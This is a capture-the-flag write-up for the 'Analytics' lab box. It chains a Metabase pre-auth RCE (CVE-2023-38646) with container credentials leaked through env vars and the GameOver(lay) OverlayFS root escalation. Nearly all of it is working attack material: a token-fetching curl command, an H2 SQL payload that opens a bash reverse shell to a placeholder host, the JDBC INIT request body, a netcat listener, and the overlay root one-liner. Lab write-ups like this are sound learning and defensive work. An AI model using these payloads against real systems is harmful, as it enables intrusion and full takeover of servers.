Summary
Analytics is an Easy Linux box. CVE-2023-38646 — Metabase v0.46.6 pre-auth
RCE via setup token leaked at /api/session/properties and an unsanitized H2
JDBC connection string passed to /api/setup/validate. Container env vars
expose SSH credentials (metalytics / <META-PW>). Privesc via
GameOver(lay) (CVE-2023-2640 / CVE-2023-32629) — Ubuntu 22.04 OverlayFS
namespace bug promotes file capabilities to root.
Recon
22/tcp OpenSSH
80/tcp nginx → analytical.htb (marketing site) → data.analytical.htb (Metabase v0.46.6)
/etc/hosts:
<TARGET> analytical.htb data.analytical.htb
Note: The actual domain is analytical.htb (not analytics.htb). The login
link on the main page points to http://data.analytical.htb.
Foothold — CVE-2023-38646
Step 1: Get setup token
curl -s http://data.analytical.htb/api/session/properties | python3 -c \
"import sys,re; m=re.search('\"setup-token\":\"(.*?)\"', sys.stdin.read()); print(m.group(1))"
Step 2: Get shell inside Metabase container
Serve an exploit SQL file via HTTP (exploit.sql):
CREATE ALIAS IF NOT EXISTS EXEC AS $$ void exec(String[] c) throws Exception{Runtime.getRuntime().exec(c);} $$;
CALL EXEC(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'});
Key notes for H2 2.1.212 (bundled in Metabase 0.46.x):
- H2 2.x removed JavaScript/Groovy triggers —
$$//javascript...$$syntax fails - Use
CREATE ALIAS(Java) instead ofCREATE TRIGGER(JavaScript) $$inside the JDBCINIT=value causes Metabase’s Clojure layer to error — serve the SQL via a separate HTTP-fetched file usingRUNSCRIPT FROM- Semicolons within INIT are statement separators (
\;) — embedding Java method bodies with semicolons directly in INIT fails; use RUNSCRIPT file instead
POST to /api/setup/validate:
payload = {
"token": setup_token,
"details": {
"is_on_demand": False, "is_full_sync": False, "is_sample": False,
"cache_ttl": None, "refingerprint": False, "auto_run_queries": True,
"schedules": {},
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;INIT=RUNSCRIPT FROM 'http://LHOST:PORT/exploit.sql'",
"advanced-options": False,
"ssl": True
},
"name": "x",
"engine": "h2"
}
}
Start a netcat listener before sending the payload:
nc -lnvp LPORT
Step 3: Extract creds from container env
env | grep META
# META_USER=metalytics
# META_PASS=<META-PW>
User — SSH to host
ssh [email protected]
# Password: <META-PW>
cat ~/user.txt
Root — GameOver(lay)
uname -r
# 6.2.0-25-generic (vulnerable; patch is 6.2.0-26, Ubuntu USN-6286-1)
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;
mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && \
u/python3 -c 'import os;os.setuid(0);os.system("id && cat /root/root.txt")'
Why it works: Ubuntu’s OverlayFS + user namespaces bug preserves file
capabilities set in an overlay upper dir when the overlay unmounts, promoting
cap_setuid+eip on python3 into the host mount namespace.
Why each step worked
- CVE-2023-38646: Pre-auth setup token exposed; Metabase passes the
dbfield unsanitized to H2’s JDBC driver;INIT=runs arbitrary SQL on connect. - Container env leak: SSH credentials stored as Docker env vars.
- GameOver(lay): OverlayFS-on-userns combo promotes file capabilities across mount namespaces on unpatched Ubuntu 22.04 kernels.
Counterfactuals
- Patch Metabase ≥ 0.46.6.1.
- Don’t store SSH creds in container env vars.
- Patch kernel ≥ 6.2.0-26 (Ubuntu USN-6286-1).
Lessons Learned
- Check redirect destination carefully —
analytics.htb→analytical.htb(different domain, easy to miss). - H2 2.x removed JavaScript/Groovy triggers — many CVE-2023-38646 public PoCs
use the old syntax; for H2 2.x use
CREATE ALIAS(Java method) viaRUNSCRIPT FROMto avoid JDBC URL escaping constraints. - Metabase
/api/setup/validatealways returns 204 regardless of INIT SQL success/failure — not a reliable success indicator. - GameOver(lay) is a reliable one-liner privesc for Ubuntu 22.04 with kernel < 6.2.0-26.